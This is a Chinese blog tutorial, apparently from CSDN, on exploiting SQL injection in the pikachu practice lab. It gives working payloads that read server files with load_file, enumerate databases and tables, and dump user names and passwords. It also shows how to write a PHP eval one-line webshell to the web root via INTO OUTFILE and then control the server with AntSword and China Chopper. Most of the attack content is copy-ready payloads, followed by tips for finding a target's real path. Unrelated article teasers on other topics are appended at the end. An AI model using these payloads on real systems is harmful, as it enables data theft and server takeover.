当前位置: 首页 > news >正文

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

前言

本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程;

如果想要学习SQL注入原理以及如何进行SQL注入,我也写了一篇详细的SQL注入方法及原理链接如下

【超详细】你知道什么是SQL注入吗?直到如何通过SQL注入来控制目标服务器吗?一篇文章教你sql注入漏洞的原理及方法----sql注入【上】_ANii_Aini的博客-CSDN博客SQL注入漏洞详解。包括原理,分类比如数字型,字符型,搜索型,xx型,宽字节注入,报错注入,盲注,有无回显等,各种注入payload以及产生原因等等https://blog.csdn.net/m0_67844671/article/details/133031125

一,SQL注入读取文件或数据库数据

(主要用pikachu靶场演示)

1-1 读取文件数据

前提条件

## 1、通过信息收集获取到想要读取的目标文件的真实物理路径
## 2、mysql开启了secure_file_priv这个配置

如何开启mysql的secure_file_priv这个配置呢? 

找个空白地方协商这个配置即可

 然后重启mysql服务即可生效。 

读取文件借助mysql自带的功能函数load_file

比如我们先在根目录写一个文件aini.txt的文件

现在要读取这个文件 (根路径为C:\tools\phpstudy\PHPTutorial\WWW)

先用终端演示,用物理机终端连上靶机的数据库

先授权,在靶机打开数据库命令行

 先输入密码进入数据库终端,然后授权远程主机登录

授权代码行解释:

grant all   ---------- 表示给予所有权限

on  x.x    ----------- 所有库所有表

(pikachu.*表示piakchu所有表,pikachu.user表示只能操作pikachu库的user表)

to root@192.168.31.% ------- 表示可以以root用户的身份在192.168.31段主机上登录

indentified by 'aini'  登录的验证密码为 'aini'

授权完就可以用物理机终端进入,如果不想用物理机的也可以直接在靶机上操作 

读取文件的代码(用load_file函数,别忘了用\对路径里的\进行转义) 

 select load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");

 测试union联合查询语句

 select id,email from member where username = 'vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");

 用网站SQL注入漏洞去注入 (以pikachu靶场为例

payload为

vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");#

通过联合查询,成功读取到了服务器文件 

1-2 读取数据库数据

1-2-1 判断查询的字段个数

' order by 1,2,3--+  #报错,表示字段个数小于3个,那么减少一个字段来尝试
' order by 1,2--+    #不报错,表示字段个数为2个,如果还报错,那么继续减少一个来尝试' order by 1,2#
' order by 1,2,3#

payload为 

vine' order by 1,2,3;#

表示位置的列数3,表名3是多余的,后端查询语句中不是三个字段,那就改payload,改为如下 

vince' order by 1,2;#

表示,这个字符型注入的查询,后台select语句后面查询的是2个字段数据,那么我们就知道,通过union联合查询的时候,查询的数据是2个字段数据了。

 1-2-2 查询当前数据库名、用户名、版本等信息

' union select user(),version();#

 1-2-3 获取mysq所有库名

' union select 1,group_concat(schema_name) from information_schema.schemata;# 
## 浏览器地址栏要URL编码,表单直接#或者 -- 就可以
' union select 1,group_concat(schema_name) from information_schema.schemata;#
#和 --  mysql的注释符号 (注意--前面有空格)

1-2-4 获取pikachu库的所有表名

' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

1-2-5 获取表中的字段名

' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273;#

 1-2-6 获取所有字段数据

' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users;#

## 其中0x7c表示|,我这里就是为了通过|来拼接每个数据。group_concat类似于concat,也是做字符串拼接的,是MySQL的一个内置函数 

 1-3 getshell

1-3-1 木马利用试验

1-1 准备木马

首先在站点根目录创建一个aini.php文件,写入一句话木马

<?php @eval($_POST['aini']);?>   ------  注意里面写的 aini 是连接密码,可以任意指定

1-2 用工具连接木马 

## 菜刀、蚁剑、冰蝎、哥斯拉四大木马利用神器,现在推荐冰蝎和蚁剑,功能更好一些,如果需要工具可以留言

用蚁剑 进行连接

注意连接密码是写一句话木马的时候 指定的连接密码

写好了以后点击测试连接,然后点击右上角添加即可

 双击就就可以成功拿到对方服务器了

 右击还有很多别的功能,数据库操作,文件操作等,不细讲了

以后专门写一篇博客介绍这些一句话木马利用工具的利用过程

接下来用菜刀这款工具使一下 

右击添加也行,编辑也行

填写地址和连接木马以后点右下角‘编辑’即可

 双击就可以拿到对方服务器了

 

 这就是一句话木马的简单利用

1-3-2 通过注入点进行木马注入

2-1 通过注入点写入木马程序的前提条件

1. mysql开启了secure_file_priv=""的配置 ---- 如何开启前面讲过了
2. 要知道网站代码的真实物理路径 ---------- 需要信息收集,通过别的方法来直到真实路径
3. 物理路径具备写入权限 ----------- 要不然木马写不进去
4. 最好是mysql的root用户,这个条件非必须,但是有最好

2-2 通过注入点写入木马程序
' union select "<?php @xx($_POST['aini']);?>",2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\muma.php";#' union select "<?php @eval($_POST['aini']);?>",2 into outfile "C:\\tools\\phpStudy\\PHPTutorial\\WWW\\muma.php";### xx表示eval,因为直接写eval,我们的这个md文档会被杀软杀掉的。

我用第二条payload 向根路径写入了一个muma.php文件 

报了个warning,不过我们去看一下靶机根路径,有没有写入成功

 写入成功了

 我们用工具利用一下看看

 成功了,所以在真实SQL注入环境中,看看能不能通过注入一句户木马来控制目标主机

2-3 获得后台真实物理路径的方法

## 1、收集站点敏感目录,比如phpinfo.php探针文件是否可以访问到
## 2、站点网址输入一些不存在的网址或者加一些非法参数数据,让网站报错,看错误信息中是否存在路径信息3、指纹信息收集
    ## nginx默认站点目录: /usr/share/nginx/html,配置文件路径:/etc/nginx/nginx.conf
    ## apache默认站点目录:/var/www/html
    ...
## 4、通过站点其他漏洞来获取配置信息、真实物理路径信息,比如如果发现远程命令执行漏洞(后面会讲到各种其他漏洞),针对php的站点,直接执行一个phpinfo()函数,可以看到phpinfo.php所展示的各种信息等等。
## 5、其他思路,反正就是不断的尝试。

mysql数据库的SQL注入就分享到这里,如果需要靶场环境或者工具可以留言

若有不懂的地方可以留言,欢迎技术交流

相关文章:

【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

前言 本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件&#xff0c;读取文件。通过SQL输入来注入木马来getshell等&#xff0c;讲解了比较详细的过程&#xff1b; 如果想要学习SQL注入原理以及如何进行SQL注入&#xff0c;我也写了一篇详细的SQL注入方法及…...

正点原子嵌入式linux驱动开发——TF-A移植

经过了之前的学习&#xff0c;除了TF-A的详细启动流程仍待更新&#xff0c;TF-A的使用和其对应的大致启动流程已经进行过了学习。但是当我们实际做产品时&#xff0c;硬件平台肯定会和ST官方的有区别&#xff0c;比如DDR容量会改变&#xff0c;自己的硬件没有使用到官方EVK开发…...

GB28181学习(六)——实时视音频点播(数据传输部分)

GB28181系列文章&#xff1a; 总述&#xff1a;https://blog.csdn.net/www_dong/article/details/132515446 注册与注销&#xff1a;https://blog.csdn.net/www_dong/article/details/132654525 心跳保活&#xff1a;https://blog.csdn.net/www_dong/article/details/132796…...

JMeter接口自动化测试(数据驱动)

之前我们的用例数据都是配置在HTTP请求中&#xff0c;每次需要增加&#xff0c;修改用例都需要打开JMeter重新编辑&#xff0c;当用例越来越多的时候&#xff0c;用例维护起来就越来越麻烦&#xff0c;有没有好的方法来解决这种情况呢&#xff1f;我们可以将用例的数据存放在cs…...

数据结构:二叉树(超详解析)

目录​​​​​​​ 1.树概念及结构 1.1树的概念 1.2树的相关概念 1.3树的表示 1.3.1孩子兄弟表示法&#xff1a; 1.3.2双亲表示法&#xff1a;只存储双亲的下标或指针 两节点不在同一树上&#xff1a; 2.二叉树概念及结构 2.1.概念 2.2.特殊的二叉树&#xff1a; 2…...

【考研数学】高等数学第七模块 —— 曲线积分与曲面积分 | 4. 对坐标的曲面积分(第二类曲面积分)与场论初步

文章目录 二、曲面积分2.2 对坐标的曲面积分&#xff08;第二类曲面积分&#xff09;1. 问题产生 —— 流量2. 对坐标的曲面积分的定义&#xff08;了解&#xff09;3. 对坐标的曲面积分的性质4. 对坐标的曲面积分的计算法&#xff08;1&#xff09; 二重积分法&#xff08;2&a…...

使用Thrift实现跨语言RPC调用

&#x1f4cb; 个人简介 &#x1f496; 作者简介&#xff1a;大家好&#xff0c;我是阿牛&#xff0c;全栈领域优质创作者。&#x1f61c;&#x1f4dd; 个人主页&#xff1a;馆主阿牛&#x1f525;&#x1f389; 支持我&#xff1a;点赞&#x1f44d;收藏⭐️留言&#x1f4d…...

【QT5-程序控制电源-RS232-SCPI协议-上位机-基础样例【1】】

【QT5-程序控制电源-RS232-SCPI协议-上位机-基础样例【1】】 1、前言2、实验环境3、自我总结1、基础了解仪器控制-熟悉仪器2、连接SCPI协议3、选择控制方式-程控方式-RS2324、代码编写 4、熟悉协议-SCPI协议5、测试实验-测试指令&#xff08;1&#xff09;硬件连接&#xff08;…...

leetcode 1049. 最后一块石头的重量 II、494. 目标和、474. 一和零

1049. 最后一块石头的重量 II 有一堆石头&#xff0c;用整数数组 stones 表示。其中 stones[i] 表示第 i 块石头的重量。 每一回合&#xff0c;从中选出任意两块石头&#xff0c;然后将它们一起粉碎。假设石头的重量分别为 x 和 y&#xff0c;且 x < y。那么粉碎的可能结果…...

Error string: Could not load library

启动Rivz时&#xff0c;报错&#xff1a; Error string: Could not load library (Poco exception libg2o_csparse_extension.so.0.1: cannot open shared object file: No such file or directory) [ERROR] [1696572310.529059051]: Failed to load nodelet [/radar_graph_s…...

pom.xml里的标签

pom.xml 是 Maven 项目的配置文件&#xff0c;其中包含了各种配置信息和依赖管理。下面是一些常见的 pom.xml 中的标签和其作用的简要说明&#xff1a; <project>&#xff1a;根标签&#xff0c;定义了整个项目的基本信息和结构。 <groupId>&#xff1a;指定项目所…...

微服务部署的正确策略

微服务部署挑战 单体应用程序的部署意味着您运行单个&#xff08;通常是大型应用程序&#xff09;的多个相同副本。这主要是通过配置 N 个服务器&#xff08;无论是物理服务器还是虚拟服务器&#xff09;并在每台服务器上运行应用程序的 M 个实例来完成。虽然这看起来非常简单…...

C#中的数组探究与学习

目录 C#中的数组一般分为:一.数组定义:为什么要使用数组?什么是数组?C#一维数组for和foreach的区别C#多维数组C#锯齿数组初始化的意义:适用场景:C#中的数组一般分为: ​①.一维数组。 ②.多维数组,也叫矩形数组。 ③.锯齿数组,也叫交错数组。 一.数组定义: 数组…...

计算机网络八股

1、请你说说TCP和UDP的区别 TCP提供面向连接的可靠传输&#xff0c;UDP提供面向无连接的不可靠传输。UDP在很多实时性要求高的场景有很好的表现&#xff0c;而TCP在要求数据准确、对速度没有硬件要求的场景有很好的表现。TCP和UDP都是传输层协议&#xff0c;都是为应用层程序服…...

Waves 14混音特效插件合集mac/win

Waves14是一款音频处理软件&#xff0c;主要用于音频编辑、混音和母带处理。该软件提供了各种插件&#xff0c;包括EQ、压缩、混响、延迟、失真等&#xff0c;以及一些专业的音频处理工具&#xff0c;如L2限幅器、Linear Phase EQ和多频道扬声器管理。 Mac软件下载&#xff1a;…...

Python python-docx 使用教程

openpyxl是Python下的Word库&#xff0c;它能够很容易的对Word文档进行读取 安装方法&#xff1a;pip install python-docx国内镜像安装&#xff1a;pip install -i https://mirrors.aliyun.com/pypi/simple/ python-docx&#xff08;推荐&#xff0c;安装更快&#xff09;中文…...

Mac上protobuf环境构建-java

参考文献 getting-started 官网pb java介绍 maven protobuf插件 简单入门1 简单入门2 1. protoc编译器下载安装 https://github.com/protocolbuffers/protobuf/releases?page10 放入.zshrc中配置环境变量  ~/IdeaProjects/test2/ protoc --version libprotoc 3.12.1  …...

CocosCreator3.8研究笔记(二十二)CocosCreator 动画系统-动画剪辑和动画组件介绍

国庆假期&#xff0c;闲着没事&#xff0c;在家研究技术~ 大家都知道在Cocos Creator3.x 的版本的动画编辑器中&#xff0c;可以实现不用写一行代码就能实现各种动态效果。 Cocos Creator动画编辑器中主要实现关键帧动画&#xff0c;不仅支持位移、旋转、缩放、帧动画&#xff…...

信看课堂-厘米GNSS定位

我们常常说GPS 定位&#xff0c;不过定位远不止GPS定位&#xff0c;通过本节课程&#xff0c;我们将会了解到&#xff0c;原来GPS只是定位的一种&#xff1a; GNSS概述 不同的GNSS系统使用不同的频段来传输导航信号。以下是一些主要的GNSS系统及其相应的频段&#xff0c;用表…...

2023CCPC网络赛(A E)

2023CCPC网络赛(A E) The 2nd Universal Cup. Stage 3: Binjiang - Dashboard - Contest - Universal Cup Judging System A. Almost Prefix Concatenation 思路&#xff1a;首先考虑如何求出每个位置允许失配一次的LCP长度 &#xff0c; 可以二分哈希求LCP &#xff0c; 即…...

网络六边形受到攻击

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 抽象 现代智能交通系统 &#xff08;ITS&#xff09; 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 &#xff08;…...

<6>-MySQL表的增删查改

目录 一&#xff0c;create&#xff08;创建表&#xff09; 二&#xff0c;retrieve&#xff08;查询表&#xff09; 1&#xff0c;select列 2&#xff0c;where条件 三&#xff0c;update&#xff08;更新表&#xff09; 四&#xff0c;delete&#xff08;删除表&#xf…...

全球首个30米分辨率湿地数据集(2000—2022)

数据简介 今天我们分享的数据是全球30米分辨率湿地数据集&#xff0c;包含8种湿地亚类&#xff0c;该数据以0.5X0.5的瓦片存储&#xff0c;我们整理了所有属于中国的瓦片名称与其对应省份&#xff0c;方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...

ip子接口配置及删除

配置永久生效的子接口&#xff0c;2个IP 都可以登录你这一台服务器。重启不失效。 永久的 [应用] vi /etc/sysconfig/network-scripts/ifcfg-eth0修改文件内内容 TYPE"Ethernet" BOOTPROTO"none" NAME"eth0" DEVICE"eth0" ONBOOT&q…...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表

##鸿蒙核心技术##运动开发##Sensor Service Kit&#xff08;传感器服务&#xff09;# 前言 在运动类应用中&#xff0c;运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据&#xff0c;如配速、距离、卡路里消耗等&#xff0c;用户可以更清晰…...

PostgreSQL——环境搭建

一、Linux # 安装 PostgreSQL 15 仓库 sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %{rhel})-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装之前先确认是否已经存在PostgreSQL rpm -qa | grep postgres# 如果存在&#xff0…...

HubSpot推出与ChatGPT的深度集成引发兴奋与担忧

上周三&#xff0c;HubSpot宣布已构建与ChatGPT的深度集成&#xff0c;这一消息在HubSpot用户和营销技术观察者中引发了极大的兴奋&#xff0c;但同时也存在一些关于数据安全的担忧。 许多网络声音声称&#xff0c;这对SaaS应用程序和人工智能而言是一场范式转变。 但向任何技…...

云安全与网络安全:核心区别与协同作用解析

在数字化转型的浪潮中&#xff0c;云安全与网络安全作为信息安全的两大支柱&#xff0c;常被混淆但本质不同。本文将从概念、责任分工、技术手段、威胁类型等维度深入解析两者的差异&#xff0c;并探讨它们的协同作用。 一、核心区别 定义与范围 网络安全&#xff1a;聚焦于保…...

C# winform教程(二)----checkbox

一、作用 提供一个用户选择或者不选的状态&#xff0c;这是一个可以多选的控件。 二、属性 其实功能大差不差&#xff0c;除了特殊的几个外&#xff0c;与button基本相同&#xff0c;所有说几个独有的 checkbox属性 名称内容含义appearance控件外观可以变成按钮形状checkali…...

ZYNQ学习记录FPGA(二)Verilog语言

一、Verilog简介 1.1 HDL&#xff08;Hardware Description language&#xff09; 在解释HDL之前&#xff0c;先来了解一下数字系统设计的流程&#xff1a;逻辑设计 -> 电路实现 -> 系统验证。 逻辑设计又称前端&#xff0c;在这个过程中就需要用到HDL&#xff0c;正文…...